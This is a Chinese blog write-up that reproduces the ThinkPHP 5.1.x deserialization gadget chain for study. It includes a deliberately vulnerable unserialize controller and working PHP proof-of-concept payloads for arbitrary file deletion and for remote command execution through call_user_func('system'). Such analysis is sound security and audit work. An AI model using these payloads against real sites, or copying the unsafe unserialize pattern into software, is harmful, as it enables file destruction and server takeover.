thinkphp5.1.*反序列化

2019-12-12 01:12:00
反序列化 - thinkphp - php

序列化是一种用来处理对象流的机制,在各种语言中都会涉及到序列化和反序列化。

thinkphp作为一个php框架,广泛应用于各种开发,但其安全性也受到挑战,近来比赛也出现了tp反序列化,为了增强自身代码审计能力,也为了学习反序列化而复现了tp的反序列化。

本文采用的是tp5.1.37版本,其他版本大同小异。

环境配置

使用composer安装:

composer create-project topthink/think tp5137 5.1.* --prefer-dist

要安装指定版本则修改目录下,composer.json内的"topthink/framework": "5.1.*"为所需版本,然后在composer下:

composer update

修改首页地址为:xxx/tp5137/public后访问127.0.0.1即可。

修改application/index/controller,添加一个可控的反序列化点,以方便后续测试:

class Index
{
    public function index()
    {
        $test = $_GET['cmd'];
        echo $test;
        unserialize(base64_decode($test));
        return 'xx';
    }

    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
}

访问主页测试有回显即可开始后续,至于为什么要base64_decode,是因为序列化中会带有一些0x00截断,会影响测试,如下:

所以为方便统一加上base64编码。

挖掘触发链

根据在phpthink中全局搜索__destruct()关键字,找到漏洞的起点:

跟进removeFiles:

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

发现使用this关键字,而该removeFiles函数的功能是删除文件,也就是说只要存在有可控的反序列化点,就可以实现任意文件删除。

poc之文件删除,如下:

<?php
namespace think\process\pipes;
abstract class Pipes
{

}

class Windows extends Pipes
{
    private $files = ["1.txt"];
}
echo base64_encode(serialize(new Windows()));

可以在public下新建一个1.txt进行测试,可以发现构造成功,文件被成功删除。

removeFiles方法中还有一个file_exists方法,追踪它发现它会把filename当成字符串处理,而谈到字符串就不可避免的谈到__toString,该魔术方法会当一个对象被当成字符串输出时调用,所以我们在把一个对象作为filename传入时即可触发toString方法。

于是全局搜索toString,发现Conversion类中如下:

public function __toString()
{
    return $this->toJson();
}

跟踪toJson():

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

toArray():

  public function toArray()
    {
    //省略部分代码

        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible($name);
                    }

                    $item[$key] = $relation->append($name)->toArray();
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        $relation->visible([$attr]);
                    }

                    $item[$key] = $relation->append([$attr])->toArray();
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

        return $item;
    }

现在来了解一下__call这个魔术方法:

为了避免当调用的方法不存在时产生错误,可以使用 __call() 方法来避免。该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。

基于此,我们需要在Conversion这个类中的toArray中找到一个$可控变量->任意方法(可控参数),后面调用不存在的方法时即可触发__call,所以就锁定了:

$relation->visible($name);,这里的$name可以由foreach循环中的$this->append控制,而接下来就是$relation如何控制的问题了,所以我们先追踪getRelation方法:

public function getRelation($name = null)
{
    if (is_null($name)) {
        return $this->relation;
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    return;
}

发现可以直接return,所以我们可以直接追踪下面的if语句内的getAttr方法:

public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value    = $this->getData($name); //追踪此处getData
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value    = null;
    }
 //省略代码
    return $value;
}

发现其返回值$value由getData方法赋值,所以继续追踪getData:

public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];  
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

发现其值可以由$this->data[$name]决定,至于为什么不是$this->relation[$name],是因为追踪relation发现其在另一个类RelationShip中。

所以整理一下目前的链路:

1.全局搜索__destruct,发现Windows类:
__destruct()-->removeFiles()-->file_exists($filename)
//利用$filename触发__toString

2.全局搜索__toString,发现Conversion类:
__toString()-->toJson()-->toArray()-->$relation->visible($name) 
//在一个不存在visible方法的类中调用visible方法,借此利用__call()魔术方法的特性

3.可控$name,Conversion类中
foreach ($this->append as $key => $name) 
//修改类属性append即可控制变量$name

4.可控$relation,由Conversion追踪到Attribute类中
getAttr($key)-->getData($name)-->$data[$name] 
//$data为Attribute类的属性,属于可控变量

但会发现ConversionAttribute为trait类:

通过在类中使用use 关键字,声明要组合的Trait名称,具体的Trait的声明使用Trait关键词,Trait不能实例化

因为Trait不能实例化,所以接下来需要找一个同时继承了ConversionAttribute类的子类,通过全局搜索Attribute类发现如下:

该Model类继承了以上谈到的两个类,也即我们直接利用它即可,大致如下:

namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["hhhm"=>[]];
        $this->data = ["hhhm"=>new xxx()];
    }
}

接下来我们需要挖掘new xxx()中的xxx类,该类需要没有visible方法且存在__call或者存在visible且可以让我们利用。

挖掘执行链

全局搜索visible并没有发现有什么可以利用的,于是转为寻找具备__call且不存在visible的类。

先是全局搜索__call,寻找可利用点,因为框架中为了动态调用,都会进行链式调用,所以一般call中会有:

__call_user_func($method, $args)

__call_user_func_array([$obj,$method], $args)

在Request.php中找到一个call:

public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
    }

    throw new Exception('method not exists:' . static::class . '->' . $method);
}

这里的call_user_func_array看起来可控,因为$this->hook[$method]我们可控,而$args则在前面一条利用链中可控,然而array_unshift这个函数在我们的args中插入了this,并且插入位置在头部,此时无法利用,因此需要找到另一个函数去被call_user_func_array调用,然后该函数内还有回调函数且其参数可控供我们利用,在thinkphp中有多个远程代码执行洞都有一个filter覆盖,我们可以利用此处来执行代码。

找到filterValue:

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        }
        //略过部分代码
        return $value;
    }

但此处的value不可控,但可以往上找到调用这个方法的其他方法,找到input:

    public function input($data = [], $name = '', $default = null, $filter = '')
    {
        if (false === $name) {
            // 获取原始数据
            return $data;
        }

        //省略
        $data = $this->getData($data, $name);
        // 解析过滤器
        $filter = $this->getFilter($filter, $default);

        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            if (version_compare(PHP_VERSION, '7.1.0', '<')) {
                // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
                $this->arrayReset($data);
            }
        } else {
            $this->filterValue($data, $name, $filter);
        }
        //省略
        return $data;
    }

但name在这里依旧不可控,再往上找到调用input的方法,为param:

  public function param($name = '', $default = null, $filter = '')
    {
     //略
        if (true === $name) {
            // 获取包含文件上传信息的数组
            $file = $this->file();
            $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

            return $this->input($data, '', $default, $filter);
        }

        return $this->input($this->param, $name, $default, $filter);
    }

这里的name依旧不可控,再往上找调用param的,isAjax:

public function isAjax($ajax = false)
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;
    }

    $result = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
}

很显然,这里的$this->param($this->config['var_ajax'])就是我们要找的,它给param的第一个参数name赋值,而这里的值是我们可控的,追溯回去也就是我们的input的name可控,input中的name可控,再回头看看input的几行关键代码:

$data = $this->getData($data, $name);
$filter = $this->getFilter($filter, $default);
$this->filterValue($data, $name, $filter);

先是getData:

protected function getData(array $data, $name)
{
    foreach (explode('.', $name) as $val) {
        if (isset($data[$val])) {
            $data = $data[$val];
        } else {
            return;
        }
    }

    return $data;
}

可以找到data的取值即为$data=$data[$name],而name来自上面的ajax的config['var_ajax']

getFilter:

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;

    return $filter;
}

filter值来自于$this->filter,也就是我们可控的变量了。

已知data可控,filter可控,把data和filter作为参数传入,然后就会触发filterValue里面的call_user_func($filter, $value),如:

filter:system,value:"ls",即可rce。

再看回param的值在thinkphp中是怎么获取的,我们不需要利用反序列化去指定,还是在控制器初始的index中添加代码进行测试:

<?php
namespace app\index\controller;

use think\Request;//新增
class Index
{
    public function index(Request $request)
    {
        var_dump($request->param());//新增
        //$test = $_GET['cmd'];
        //echo $test;
        //unserialize(base64_decode($test));
        return 'xxx';
    }

    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
}

访问页面传参如下:

?cmd=1&ab=system

可以看到传回了一个数组,也就是说不需要在序列化中特地指定该值。

对应到这里:

$this->input($this->param, $name, $default, $filter);

意味着input中的参数除了default之外全部可控,而default对我们来说没什么用,可以忽略。

现在来整理一下执行链:

//$this->hook = ["visible"=>[$this,"isAjax"]];
//hook数组中的$this为调用类中方法必须的
public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
       //array_unshift会在数组$args第一位插入$this
       //但isAjax无需参数,也就无影响了
    }
}

这里就调用了isAjax函数,看一下调用过程:

public function isAjax($ajax = false)
{
    $result = $this->param($this->config['var_ajax']) ? true : $result;
    //$this->config['var_ajax']可控
    //设置为$this->config['var_ajax']='hhhm'
}

param:

public function param($name = '', $default = null, $filter = '')
{
    return $this->input($this->param, $name, $default, $filter);
    //$this->param为我们外部传入的参数数组
    //$name=$this->config['var_ajax']='hhhm'
    //filter暂不可控
}

input和filterValue放一起将:

//$data数组为外部传入参数,如 {["hhhm"]=>"ls"}
//$name为$this->config['var_ajax']='hhhm'
//filter为$this->filter='system'
public function input($data = [], $name = '', $default = null, $filter = '')
{
    $data = $this->getData($data, $name);
    //$data=$data[$name]={["hhhm"]=>"ls"}[hhhm]='ls'
    $filter = $this->getFilter($filter, $default);
    //$filter=[0=>'system',1=>$default],getFilter内部会将其变为数组
    if (is_array($data)) {//data非数组,到else
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        if (version_compare(PHP_VERSION, '7.1.0', '<')) {
            $this->arrayReset($data);
        }
    } else {
        //$data='ls'
        //$name='hhhm'
        //$filter=[0=>'system',1=>null]
        $this->filterValue($data, $name, $filter);
    }
}

//$value=$data='ls'
//$key=$name='hhhm'
//$filters=$filter=[0=>'system',1=>null]
private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);//弹出[1=>null],此时$filters=[0=>'system']

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            //$filter='system'
            //$value='ls'
            $value = call_user_func($filter, $value);
            //执行system('ls');
        }
    }
}

但在构造poc时,还需要注意一个问题,我们的Model是抽象类,需要找一个实现了它的子类才能实例化,这里全局搜索extends Model,可以找到Pivot类,接下来构造poc:

<?php
namespace think;
abstract class Model{
    protected $append = [];
    private $data = [];
    function __construct(){
        $this->append = ["hhhm"=>[]];
        $this->data = ["hhhm"=>new Request()];
    }
}
class Request
{
    protected $hook = [];
    protected $filter = "system";
    protected $config = [
        // 表单ajax伪装变量
        'var_ajax'         => 'hhhm',  
    ];
    function __construct(){
        $this->filter = "system";
        $this->hook = ["visible"=>[$this,"isAjax"]];
    }
}


namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
    private $files = [];

    public function __construct()
    {
        $this->files=[new Pivot()];
    }
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));

测试页代码修改如下:

public function index()
{

    $test = $_POST['cmd'];
    unserialize(base64_decode($test));
    return 'xxx';
}

为了不影响param的数组中我们传入命令的位置,将cmd修改为post传参,效果如下:

这里仅用window下的dir命令做简单测试。



本文原创于HhhM的博客,转载请标明出处。



CopyRight © 2019-2020 HhhM
Power By Django & Bootstrap
已运行
粤ICP备19064649号